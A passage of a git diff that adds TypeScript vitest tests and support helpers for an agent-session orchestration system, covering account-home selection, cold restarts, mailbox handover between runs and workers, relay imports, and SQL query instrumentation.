+ } + expect(c.service.snapshot(request).origin).toBe('unknown') + expect( + c.store.failureDetail( + agentModelCatalogScopeFingerprint( + agentModelCatalogFingerprint({ agent: 'claude', accountHome: HOME_B, wslDistro: null }), + f.rig.root + ) + ) + ).toContain('model/list unavailable') + expect( + await settled( + f.rig.host.cancel(REST_TEST_CALLER, { + envelope: { + sessionId: PARENT, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: f.rig.store.requireWritableRecord(PARENT).lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.cancel', + sessionId: PARENT, + fields: {} + }) + } + }), + 'public Stop after listing failure' + ) + ).toMatchObject({ ok: true }) + expect( + await settled(pick('permissionMode', 'own'), 'ordinary action after failed listing and Stop') + ).toMatchObject({ ok: true }) + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect(f.rig.adapter.dispatch).not.toHaveBeenCalled() + } finally { + listing.resolve({ models: [], origin: 'probe', complete: true }) + service?.stop() + await f.dispose() + } +}) + +it.each(['deadline', 'retirement', 'stop', 'workspace'] as const)( + 'captures the original %s fence before awaiting the receiving scope', + async (end) => { + const f = await createReceivingCallerFixture() + let service: ReturnType | undefined + const home = Promise.withResolvers() + try { + await f.found() + await f.rig.host.close(PARENT, 'evict') + f.rig.adapter.acquire.mockClear() + const c = catalog(f, true) + service = c.service + const selected = vi.spyOn(f.rig.host.deps, 'launchAccountHome').mockReturnValue(home.promise) + let workspaceIdentity = 'original' + const now = 1_800_000_000_000 + vi.useFakeTimers({ now }) + const pending = f.rig.host.readModelCatalog({ + agent: 'claude', + sessionId: PARENT, + deadline: now + 500, + ...(end === 'workspace' + ? { + workspace: { + selector: 'fixture', + identity: () => workspaceIdentity, + resolve: async () => f.rig.root + } + } + : {}) + }) + await vi.waitFor(() => expect(selected).toHaveBeenCalledOnce()) + if (end === 'workspace') { + workspaceIdentity = 'replacement' + } + if (end === 'retirement') { + c.store.expireAgent('claude') + } + if (end === 'stop') { + c.service.stop() + } + if (end === 'deadline') { + await vi.advanceTimersByTimeAsync(500) + expect(await settled(pending, 'original scope deadline')).toEqual({ origin: 'unknown' }) + } + home.resolve(HOME_B) + expect(await settled(pending, 'retired scope completion')).toEqual({ origin: 'unknown' }) + expect(c.demands).not.toHaveBeenCalled() + expect(c.resolve).not.toHaveBeenCalled() + expect(c.probe).not.toHaveBeenCalled() + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + } finally { + home.resolve(HOME_B) + service?.stop() + vi.useRealTimers() + await f.dispose() + } + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-cold.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-cold.test.ts new file mode 100644 index 00000000000..2ff093bc884 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-cold.test.ts @@ -0,0 +1,156 @@ +import { describe, expect, it, vi } from 'vitest' +import { acquiredAgentSessionAccount } from '../../../shared/agent-session-acquired-account' +import { readJournalSessionEpoch } from '../agent-session-journal/journal-row-table' +import { + createReceivingCallerFixture, + HOME_A, + HOME_B, + PARENT +} from './structured-agent-session-receiving-callers.test-support' + +describe('registered ensure constructs from cold conversation-owned evidence', () => { + it('opens existing native state and journal before reservation, then proves the actual A recipe', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + const original = acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT)) + expect(original?.recipe.home).toBe(HOME_A.path) + await f.coldNative() + expect(f.runtime.getOrchestrationDbIfAvailable()).toBeNull() + f.selectB() + const adopts = vi.spyOn(f.rig.host.collaboratorsForTests().sessions, 'set') + const acquire = f.rig.adapter.acquire + acquire.mockClear() + expect(await f.ensure()).toMatchObject({ ok: true }) + expect(acquire).toHaveBeenCalledTimes(1) + expect(acquire.mock.calls[0]?.[0].accountRecipe).toEqual(original?.recipe) + expect( + acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT))?.recipe + ).toEqual(original?.recipe) + expect(f.runtime.getOrchestrationDbIfAvailable()).not.toBeNull() + expect(f.rig.host.childAccountHome(PARENT)).toEqual(HOME_A) + expect(adopts).toHaveBeenCalledTimes(1) + } finally { + await f.dispose() + } + }) + + it('a last-success receipt alone does not pin an eligible ordinary acquisition', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + await f.rig.host.close(PARENT, 'evict') + f.selectB() + f.rig.adapter.acquire.mockClear() + expect(await f.ensure()).toMatchObject({ ok: true }) + expect(f.rig.adapter.acquire.mock.calls[0]?.[0].accountRecipe).toBeUndefined() + expect(f.rig.host.childAccountHome(PARENT)).toEqual(HOME_B) + expect( + acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT))?.recipe.home + ).toBe(HOME_B.path) + } finally { + await f.dispose() + } + }) + + it.each([true, false])( + 'absent journal keeps native evidence, reportsRecipe=%s', + async (reportsRecipe) => { + const f = await createReceivingCallerFixture({ reportsRecipe }) + try { + await f.proveWithoutJournal() + expect(readJournalSessionEpoch(f.rig.host.deps.journalDatabase.db, PARENT)).toBeNull() + await f.coldNative() + f.selectB() + f.rig.adapter.acquire.mockClear() + expect(await f.ensure()).toMatchObject({ ok: true }) + expect(f.rig.host.childAccountHome(PARENT)).toEqual(reportsRecipe ? HOME_A : HOME_B) + expect(f.rig.adapter.acquire.mock.calls[0]?.[0].accountRecipe?.home).toBe( + reportsRecipe ? HOME_A.path : undefined + ) + } finally { + await f.dispose() + } + } + ) + + it('an actually unreadable native DB fails the operation without constructing or overwriting A', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + await f.coldNative() + f.selectB() + const record = f.rig.store.requireWritableRecord(PARENT) + const db = f.runtime.getExistingOrchestrationDb() + if (!db) { + throw new Error('persisted database missing') + } + const prepare = db.db.prepare.bind(db.db) + const read = vi.spyOn(db.db, 'prepare').mockImplementation((sql) => { + if (sql.includes('SELECT id FROM runs WHERE coordinator_orca_session_id')) { + throw new Error('fixture native read unavailable') + } + return prepare(sql) + }) + f.rig.adapter.acquire.mockClear() + expect(await f.ensure()).toEqual({ + ok: false, + refusal: { + code: 'agent_session_operation_invalid', + details: { ownerVerdict: 'exited' }, + ownerVerdict: 'exited', + message: "Claude couldn't restart. Send your message to try again." + } + }) + read.mockRestore() + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + const after = f.rig.store.requireWritableRecord(PARENT) + expect(after.lease.claimStatus).toBe('released') + expect(acquiredAgentSessionAccount(after)?.recipe).toEqual( + acquiredAgentSessionAccount(record)?.recipe + ) + expect(await f.ensure()).toMatchObject({ ok: true }) + expect(f.rig.host.childAccountHome(PARENT)).toEqual(HOME_A) + } finally { + await f.dispose() + } + }) + + it('direct cancellation during selected resolution starts nothing and preserves last success', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + await f.rig.host.close(PARENT, 'evict') + const receipt = acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT)) + let release: (() => void) | undefined + const waiting = new Promise((resolve) => { + release = resolve + }) + const resolveAccount = vi + .spyOn(f.rig.host.deps, 'launchAccountHome') + .mockImplementation(async () => { + await waiting + return HOME_B + }) + f.rig.adapter.acquire.mockClear() + const result = f.ensure().then( + (value) => ({ value }), + (error: unknown) => ({ error }) + ) + await vi.waitFor(() => expect(resolveAccount).toHaveBeenCalled()) + f.rig.host + .collaboratorsForTests() + .runtimeState.acquireAborts.abort(PARENT, 'stopped while starting') + release?.() + await result + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect( + acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT))?.recipe + ).toEqual(receipt?.recipe) + expect(f.rig.store.requireWritableRecord(PARENT).lease.claimStatus).toBe('released') + expect(readJournalSessionEpoch(f.rig.host.deps.journalDatabase.db, PARENT)).not.toBeNull() + } finally { + await f.dispose() + } + }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-nested.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-nested.test.ts new file mode 100644 index 00000000000..cd97c99c7d8 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-nested.test.ts @@ -0,0 +1,142 @@ +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import { describe, expect, it, vi } from 'vitest' +import { dispatchReportMailbox } from '../../runtime/orchestration/dispatch-report-mailbox' +import { OrchestrationStructuredMailboxPointerDelivery } from '../../runtime/orchestration/structured-mailbox-pointer-delivery' +import { createStructuredMailboxPointerHost } from '../../runtime/orchestration/structured-mailbox-pointer-host' +import { HOST_TEST_NOW } from './structured-agent-session-host-test-data' +import { + createReceivingCallerFixture, + HELPER, + HOME_A, + HOME_B, + PARENT, + WORKER +} from './structured-agent-session-receiving-callers.test-support' + +/** Production report transaction -> pointer park/wake -> host start/handover/settlement. */ +describe('nested receiving work follows its current consumer', () => { + it('keeps A after creator Stop, accepts its helper result, then ordinary input acquires B', async () => { + vi.spyOn(Date, 'now').mockReturnValue(HOST_TEST_NOW) + const f = await createReceivingCallerFixture() + let unsubscribe: (() => void) | undefined + try { + await f.found() + const db = f.runtime.getOrchestrationDb() + const run = db.createRun({ + objective: 'nested production iteration', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + const worker = await f.createWorker(WORKER) + const helper = await f.createWorker(HELPER, WORKER) + expect(helper.task.id).not.toBe(worker.task.id) + expect(dispatchReportMailbox(db, helper.dispatch)).toBe(`dispatch:${worker.dispatch.id}`) + const stopped = await f.call('orchestration.workerStop', { dispatch: worker.dispatch.id }) + expect(stopped).toMatchObject({ state: 'stopped', processAction: 'closed_agent_terminal' }) + expect(db.getDispatchContextById(helper.dispatch.id)?.status).toBe('dispatched') + expect(dispatchReportMailbox(db, helper.dispatch)).toBe(`run:${run.id}`) + await f.rig.host.close(PARENT, 'evict') + f.selectB() + f.rig.adapter.acquire.mockClear() + const ordinary = await f.send('continue while the helper works') + await f.turn(ordinary, 'running') + expect(f.rig.host.childAccountHome(PARENT)).toEqual(HOME_A) + expect(f.rig.adapter.acquire.mock.calls[0]?.[0].accountRecipe?.home).toBe(HOME_A.path) + + const nudges = f.nudges + await f.call( + 'orchestration.send', + { + from: helper.handle, + to: `run:${run.id}`, + type: 'status', + subject: 'finishing helper work' + }, + f.caller(HELPER) + ) + const batch = db.getOrCreateMailboxDelivery({ + runId: run.id, + mailboxHandle: `run:${run.id}`, + consumerGeneration: run.consumer_generation + }) + if (!batch) { + throw new Error('real status not accepted into the current Run') + } + expect(batch.messages.map((message) => message.to_handle)).toEqual([`run:${run.id}`]) + expect(batch.messages.map((message) => message.type)).toEqual(['status']) + await f.report(helper) + expect(nudges).toHaveBeenCalledWith(`run:${run.id}`, 'worker_done') + expect(db.getWorkerDispatch(helper.dispatch.id)?.state).toBe('succeeded') + const retained = vi.fn() + const pointer = new OrchestrationStructuredMailboxPointerDelivery({ + getDb: () => db, + getMessageWaiters: () => undefined, + resolveStructuredTarget: (handle) => f.runtime.mailTarget(handle), + getCliCommand: () => 'orca-dev', + senderName: () => null, + host: createStructuredMailboxPointerHost(), + onRetain: retained + }) + unsubscribe = await f.rig.host.subscribe({ + id: 'real-pointer-wake', + sessionId: PARENT, + emit: () => pointer.onJournalActivity(PARENT) + }) + const dispatches = f.rig.adapter.dispatch.mock.calls.length + expect(pointer.deliverForHandle(`run:${run.id}`)).toBe(true) + await vi.waitFor(() => + expect(retained).toHaveBeenCalledWith(expect.objectContaining({ reason: 'turn-unsettled' })) + ) + expect(f.rig.adapter.dispatch).toHaveBeenCalledTimes(dispatches) + await f.turn(ordinary, 'completed') + await vi.waitFor(() => expect(f.rig.adapter.dispatch.mock.calls.length).toBe(dispatches + 1)) + const journal = f.rig.host.collaboratorsForTests().sessions.get(PARENT)?.journal + if (!journal) { + throw new Error('actual opened parent journal missing') + } + const notice = journal.submissions().find((submission) => { + const body = journal.itemBody(agentJournalSubmissionKey(submission.clientMessageId)) + return body?.kind === 'message' && body.from?.orchestration?.message === 'mail-notice' + }) + if (!notice) { + throw new Error('production pointer did not submit its canonical notice') + } + await f.turn(notice.clientMessageId, 'running') + db.acknowledgeMailboxDelivery({ + runId: run.id, + mailboxHandle: `run:${run.id}`, + consumerGeneration: run.consumer_generation, + deliveryId: batch.delivery.id + }) + const resultBatch = db.getOrCreateMailboxDelivery({ + runId: run.id, + mailboxHandle: `run:${run.id}`, + consumerGeneration: run.consumer_generation + }) + if (!resultBatch) { + throw new Error('real report not accepted into the current Run') + } + expect(resultBatch.messages.map((message) => message.to_handle)).toEqual([`run:${run.id}`]) + expect(resultBatch.messages.map((message) => message.type)).toEqual(['worker_done']) + db.acknowledgeMailboxDelivery({ + runId: run.id, + mailboxHandle: `run:${run.id}`, + consumerGeneration: run.consumer_generation, + deliveryId: resultBatch.delivery.id + }) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + await f.turn('unrelated-newer', 'completed') + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + await f.turn(notice.clientMessageId, 'completed') + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_B) + const next = await f.send('next eligible ordinary input') + expect(f.rig.host.childAccountHome(PARENT)).toEqual(HOME_B) + expect(f.rig.adapter.acquire).toHaveBeenCalledTimes(2) + await f.turn(next, 'completed') + } finally { + unsubscribe?.() + await f.dispose() + } + }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-persisted.test-support.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-persisted.test-support.ts new file mode 100644 index 00000000000..54032ee6712 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-persisted.test-support.ts @@ -0,0 +1,116 @@ +import { join } from 'node:path' +import { Store } from '../../persistence/loading-store/store' +import { ProfileStateSqliteAuthority } from '../../persistence/profile-state/profile-state-sqlite-authority' +import { expect } from 'vitest' +import { OrchestrationDb } from '../../runtime/orchestration/db' +import { REST_TEST_CALLER, type RestTestRig } from './structured-agent-session-rest-test-rig' +import { hostTestOperationId } from './structured-agent-session-host-test-data' +import type { AgentSessionAttachParams } from './structured-agent-session-attach' +import { HOME_A, PARENT } from './structured-agent-session-receiving-callers.test-support' + +/** The registered attach path reads launch defaults from the runtime's profile store. */ +export function receivingRuntimeStore(root: string) { + return new Store({ + dataFile: join(root, 'runtime-state.json'), + profileStateAuthority: new ProfileStateSqliteAuthority( + join(root, 'runtime-profile.db'), + 'receiving' + ) + }) +} + +/** Build persisted success/pre-notice state with the real store and database owners. */ +export function receivingPersistedFixtures({ + rig, + params +}: { + rig: RestTestRig + params: () => AgentSessionAttachParams +}) { + return { + proveWithoutJournal: async () => { + const input = params() + await rig.store.reserveOwner({ + sessionId: PARENT, + location: input.location, + provider: 'claude', + accountHome: HOME_A, + expectedFence: null, + spawnToken: 'pre-journal-spawn', + claimKeyId: 'key-1', + handoffOperationId: null, + probe: { outcome: 'reservation-unused' }, + now: rig.clock.now, + operation: { + callerKey: REST_TEST_CALLER.callerKey, + operationId: hostTestOperationId(), + fingerprint: 'pre-journal-success' + } + }) + const record = rig.store.requireWritableRecord(PARENT) + const acquired = await rig.adapter.acquire({ + identity: { + sessionId: PARENT, + workspaceId: input.location.workspaceId, + hostId: 'local', + agent: 'claude', + providerHandle: null + }, + fence: record.lease.runtimeFence, + spawnToken: 'pre-journal-spawn' + }) + await rig.store.commitProcessIdentity({ + sessionId: PARENT, + fence: record.lease.runtimeFence, + process: acquired.process, + now: rig.clock.now + }) + await rig.store.proveOwner({ + sessionId: PARENT, + fence: record.lease.runtimeFence, + ...(acquired.link ? { link: acquired.link } : {}), + now: rig.clock.now, + ...(acquired.accountRecipe + ? { + accountAcquisition: { + generation: acquired.acquisitionGeneration, + recipe: acquired.accountRecipe + } + } + : {}) + }) + await rig.store.evictProvenDeadOwner({ + sessionId: PARENT, + expectedFence: record.lease.runtimeFence, + probe: { outcome: 'exit-observed' }, + now: rig.clock.now + }) + expect(rig.store.requireWritableRecord(PARENT).lease).toMatchObject({ + claimStatus: 'released', + ownerProcess: null, + deathEvidence: { kind: 'exit-observed' } + }) + await rig.store.setSessionTabVisibility(PARENT, true) + }, + coldNative: async () => { + await rig.host.close(PARENT, 'evict') + expect(rig.host.hasSession(PARENT)).toBe(false) + const db = new OrchestrationDb(join(rig.root, 'orchestration.db')) + const run = db.createRun({ + objective: 'parent native work', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + const started = db.createStartingWorkerDispatch({ + taskSpec: 'pre-notice', + taskRunId: run.id, + creator: { kind: 'session', orcaSessionId: PARENT }, + maxDepth: 9, + startOptions: {} + }) + db.close() + return { run, started } + } + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-recipient.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-recipient.test.ts new file mode 100644 index 00000000000..0de8373de7a --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-recipient.test.ts @@ -0,0 +1,146 @@ +import { describe, expect, it } from 'vitest' +import { testOrcaSessionId } from '../../../shared/orca-session-address-test-fixture' +import { dispatchReportMailbox } from '../../runtime/orchestration/dispatch-report-mailbox' +import { + createReceivingCallerFixture, + HELPER, + HOME_A, + HOME_B, + PARENT, + WORKER +} from './structured-agent-session-receiving-callers.test-support' + +const NEXT = testOrcaSessionId('d2e4056e-2cf2-4e9f-958a-173f72acb592') + +describe('receiving ownership uses current canonical mailbox and consumer', () => { + it('hands actual unread helper mail from a stopped creator to its Run, then fences the old Run consumer', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + await f.ensure(NEXT) + await f.rig.store.setSessionTabVisibility(NEXT, true) + const db = f.runtime.getOrchestrationDb() + const run = db.createRun({ + objective: 'handback and takeover', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + const worker = await f.createWorker(WORKER) + const helper = await f.createWorker(HELPER, WORKER) + f.selectB() + expect(await f.rig.host.prospectiveAccountHome(WORKER)).toEqual(HOME_A) + await f.report(helper) + const message = db.getUndeliveredUnreadMessages(`dispatch:${worker.dispatch.id}`)[0] + if (!message) { + throw new Error('canonical report was not sent to its live creator') + } + expect(message.to_handle).toBe(dispatchReportMailbox(db, helper.dispatch)) + expect(f.runtime.mailTarget(message.to_handle)?.sessionId).toBe(WORKER) + expect( + await f.call('orchestration.workerStop', { dispatch: worker.dispatch.id }) + ).toMatchObject({ state: 'stopped' }) + expect(db.getMessageById(message.id)?.to_handle).toBe(`run:${run.id}`) + expect(f.runtime.mailTarget(`run:${run.id}`)?.sessionId).toBe(PARENT) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + const old = db.getOrCreateMailboxDelivery({ + runId: run.id, + mailboxHandle: `run:${run.id}`, + consumerGeneration: run.consumer_generation + }) + if (!old) { + throw new Error('old current consumer could not check real handback mail') + } + const rebound = db.bindRun({ + runId: run.id, + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: NEXT + }) + if (!rebound) { + throw new Error('supported Run takeover failed') + } + expect(rebound.consumer_generation).toBeGreaterThan(run.consumer_generation) + expect(f.runtime.mailTarget(`run:${run.id}`)?.sessionId).toBe(NEXT) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_B) + expect(await f.rig.host.prospectiveAccountHome(NEXT)).toEqual(HOME_A) + expect(() => + db.acknowledgeMailboxDelivery({ + runId: run.id, + mailboxHandle: `run:${run.id}`, + consumerGeneration: run.consumer_generation, + deliveryId: old.delivery.id + }) + ).toThrow() + const current = db.getOrCreateMailboxDelivery({ + runId: run.id, + mailboxHandle: `run:${run.id}`, + consumerGeneration: rebound.consumer_generation + }) + expect(current?.messages.map((row) => row.id)).toContain(message.id) + } finally { + await f.dispose() + } + }) + + it.each(['settled', 'missing', 'wrong-run', 'null'] as const)( + 'accepts the actual report with a %s creator shape and old Task generation', + async (shape) => { + const f = await createReceivingCallerFixture() + try { + await f.found() + const db = f.runtime.getOrchestrationDb() + const run = db.createRun({ + objective: 'old canonical creator shapes', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + const worker = await f.createWorker(WORKER) + const helper = await f.createWorker(HELPER, WORKER) + await f.call('orchestration.workerStop', { dispatch: worker.dispatch.id }) + if (shape !== 'settled') { + let creator: string | null = null + if (shape === 'missing') { + creator = 'dispatch_old_missing' + } + if (shape === 'wrong-run') { + const other = db.createRun({ + objective: 'different Run', + coordinatorHandle: null, + coordinatorPaneKey: null + }) + creator = db.createStartingWorkerDispatch({ + taskSpec: 'other active creator', + taskRunId: other.id, + creator: { kind: 'system' }, + maxDepth: 9, + startOptions: {} + }).dispatch.id + } + // Persisted older/imported row shapes; report admission and Task lifetime remain production-owned. + db.db + .prepare('UPDATE dispatch_contexts SET creator_dispatch_id = ? WHERE id = ?') + .run(creator, helper.dispatch.id) + } + db.db + .prepare('UPDATE tasks SET created_by_run_generation = ? WHERE id = ?') + .run(run.consumer_generation - 1, helper.task.id) + const row = db.getDispatchContextById(helper.dispatch.id) + if (!row) { + throw new Error('real helper missing') + } + expect(dispatchReportMailbox(db, row)).toBe(`run:${run.id}`) + f.selectB() + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + await f.report(helper) + expect(db.getWorkerDispatch(helper.dispatch.id)?.state).toBe('succeeded') + const message = db.getUndeliveredUnreadMessages(`run:${run.id}`)[0] + expect(message?.to_handle).toBe(`run:${run.id}`) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + } finally { + await f.dispose() + } + } + ) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-routes.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-routes.test.ts new file mode 100644 index 00000000000..f9aebcbf53d --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-routes.test.ts @@ -0,0 +1,127 @@ +import { expect, it } from 'vitest' +import { ORCHESTRATION_FEDERATION_LIFECYCLE_SETTLEMENT_PROTOCOL_VERSION } from '../../../shared/protocol-version' +import { testOrcaSessionId } from '../../../shared/orca-session-address-test-fixture' +import { acquiredAgentSessionAccount } from '../../../shared/agent-session-acquired-account' +import { hostTestOperationId } from './structured-agent-session-host-test-data' +import { + createReceivingCallerFixture, + HOME_A, + HOME_B, + PARENT +} from './structured-agent-session-receiving-callers.test-support' + +const SUCCESSOR = testOrcaSessionId('2842b48e-8a73-443a-99fb-810bf7eb09ce') + +it('routes an imported committed clear lineage to its current visible receiver, using its own successful receipt', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + await f.ensure(SUCCESSOR) + await f.rig.store.setSessionTabVisibility(SUCCESSOR, true) + const db = f.runtime.getOrchestrationDb() + const run = db.createRun({ + objective: 'lineage receiving work', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + db.createStartingWorkerDispatch({ + taskSpec: 'still owed to this conversation', + taskRunId: run.id, + creator: { kind: 'session', orcaSessionId: PARENT }, + maxDepth: 9, + startOptions: {} + }) + await f.rig.host.close(PARENT, 'evict') + // Stored older clear shape, written through the real record owner; no caller admission is changed. + await f.rig.store.transitionHandoff(PARENT, (record) => ({ + ...record, + conversationCommand: { + command: 'clear', + state: 'completed', + phase: 'committed', + runtimeFence: record.lease.runtimeFence, + callerKey: 'older-clear-client', + operationId: hostTestOperationId(), + replacementSessionId: SUCCESSOR + } + })) + await f.rig.store.setSessionTabVisibility(PARENT, false) + f.selectB() + expect(f.runtime.mailTarget(`run:${run.id}`)?.sessionId).toBe(SUCCESSOR) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_B) + expect(await f.rig.host.prospectiveAccountHome(SUCCESSOR)).toEqual(HOME_A) + const parent = acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT)) + const successor = acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(SUCCESSOR)) + expect(successor?.generation).not.toBe(parent?.generation) + await f.rig.host.close(SUCCESSOR, 'evict') + await f.rig.store.setSessionTabVisibility(SUCCESSOR, false) + expect(f.runtime.mailTarget(`run:${run.id}`)).toBeNull() + expect(await f.rig.host.prospectiveAccountHome(SUCCESSOR)).toEqual(HOME_B) + } finally { + await f.dispose() + } +}) + +it('a real root-remote relay import transfers pre-notice work into the home current mailbox', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + const db = f.runtime.getOrchestrationDb() + const run = db.createRun({ + objective: 'remote root result', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: PARENT + }) + f.runtime.stopOrchestrationFederationRelay() + const worker = db.createStartingWorkerDispatch({ + taskSpec: 'remote work', + taskRunId: run.id, + creator: { kind: 'session', orcaSessionId: PARENT }, + maxDepth: 9, + startOptions: {}, + federation: { + environmentId: 'remote-environment', + environmentName: 'paired worker', + peerFingerprint: 'fixture-peer', + protocolVersion: ORCHESTRATION_FEDERATION_LIFECYCLE_SETTLEMENT_PROTOCOL_VERSION + } + }) + f.selectB() + expect(f.runtime.mailTarget(`run:${run.id}`)?.sessionId).toBe(PARENT) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + const imported = db.importFederatedRelayItem({ + dispatchId: worker.dispatch.id, + sequence: 1, + message: { + id: 'relay_root_result', + runId: run.id, + from: `dispatch:${worker.dispatch.id}`, + to: `run:${run.id}`, + subject: 'complete', + body: 'real relay input', + type: 'worker_done', + priority: 'normal', + payload: JSON.stringify({ + taskId: worker.task.id, + dispatchId: worker.dispatch.id, + outcome: 'succeeded' + }) + }, + lifecycle: { + kind: 'worker_report', + taskId: worker.task.id, + outcome: 'succeeded', + result: 'complete' + } + }) + expect(imported.lifecycle).toMatchObject({ action: 'settled', outcome: 'succeeded' }) + expect(db.getMessageById(imported.message.id)?.to_handle).toBe(`run:${run.id}`) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_A) + db.markAsRead([imported.message.id]) + expect(await f.rig.host.prospectiveAccountHome(PARENT)).toEqual(HOME_B) + } finally { + await f.dispose() + } +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-runtime.test-support.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-runtime.test-support.ts new file mode 100644 index 00000000000..f4e51881f7a --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-runtime.test-support.ts @@ -0,0 +1,10 @@ +import { OrcaRuntimeService } from '../../runtime/orca-runtime' + +export class ReceivingRuntime extends OrcaRuntimeService { + override getOrchestrationDbIfAvailable() { + return super.getOrchestrationDbIfAvailable() + } + mailTarget(handle: string) { + return this.resolveStructuredMailboxTarget(handle) + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-sql.test-support.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-sql.test-support.ts new file mode 100644 index 00000000000..b0d2e25e56c --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-sql.test-support.ts @@ -0,0 +1,67 @@ +import { vi } from 'vitest' +import type { SqliteBindings } from '../../sqlite/sqlite-statement' +import type { OrchestrationDb } from '../../runtime/orchestration/db' + +/** Count actual SQL calls/results and their plans; EXPLAIN itself is excluded. */ +export function observeReceivingSql(db: OrchestrationDb) { + const prepare = db.db.prepare.bind(db.db) + const instrumented = new WeakSet() + const restores: (() => void)[] = [] + const plans: string[] = [] + const measurements = { prepares: 0, executions: 0, rows: 0, allRows: 0, plans } + const explain = (sql: string, args: SqliteBindings) => { + if (!/^\s*(SELECT|WITH)\b/i.test(sql)) { + return + } + for (const row of prepare(`EXPLAIN QUERY PLAN ${sql}`).all(...args)) { + if (typeof row.detail === 'string') { + measurements.plans.push(row.detail) + } + } + } + const spy = vi.spyOn(db.db, 'prepare').mockImplementation((sql) => { + measurements.prepares += 1 + const statement = prepare(sql) + if (instrumented.has(statement)) { + return statement + } + instrumented.add(statement) + const all = statement.all.bind(statement) + const get = statement.get.bind(statement) + const run = statement.run.bind(statement) + const allSpy = vi.spyOn(statement, 'all').mockImplementation((...args) => { + measurements.executions += 1 + explain(sql, args) + const rows = all(...args) + measurements.rows += rows.length + measurements.allRows += rows.length + return rows + }) + const getSpy = vi.spyOn(statement, 'get').mockImplementation((...args) => { + measurements.executions += 1 + explain(sql, args) + const row = get(...args) + measurements.rows += row === undefined ? 0 : 1 + return row + }) + const runSpy = vi.spyOn(statement, 'run').mockImplementation((...args) => { + measurements.executions += 1 + return run(...args) + }) + restores.push( + () => allSpy.mockRestore(), + () => getSpy.mockRestore(), + () => runSpy.mockRestore() + ) + return statement + }) + return { + measurements, + stop: () => { + spy.mockRestore() + for (const restore of restores.toReversed()) { + restore() + } + } + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts index 73c0d4ec979..53f2b3ff411 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-failure-filing.test.ts @@ -14,7 +14,7 @@ import { QUIT_CUT_NOTICE, readerNotes, statusNotes, - continuationCannotFold + continuationUnanswered } from './structured-agent-session-restart-interruption-test-harness' import { CALLER, envelope } from './structured-agent-session-host-test-harness' import { @@ -99,10 +99,11 @@ it("keeps the quit's notice through a continuation that carries the chat on", as }) it('keeps an unconfirmed failure while the agent the continuation started keeps running', async () => { - const { host } = await interruptedRestart() + 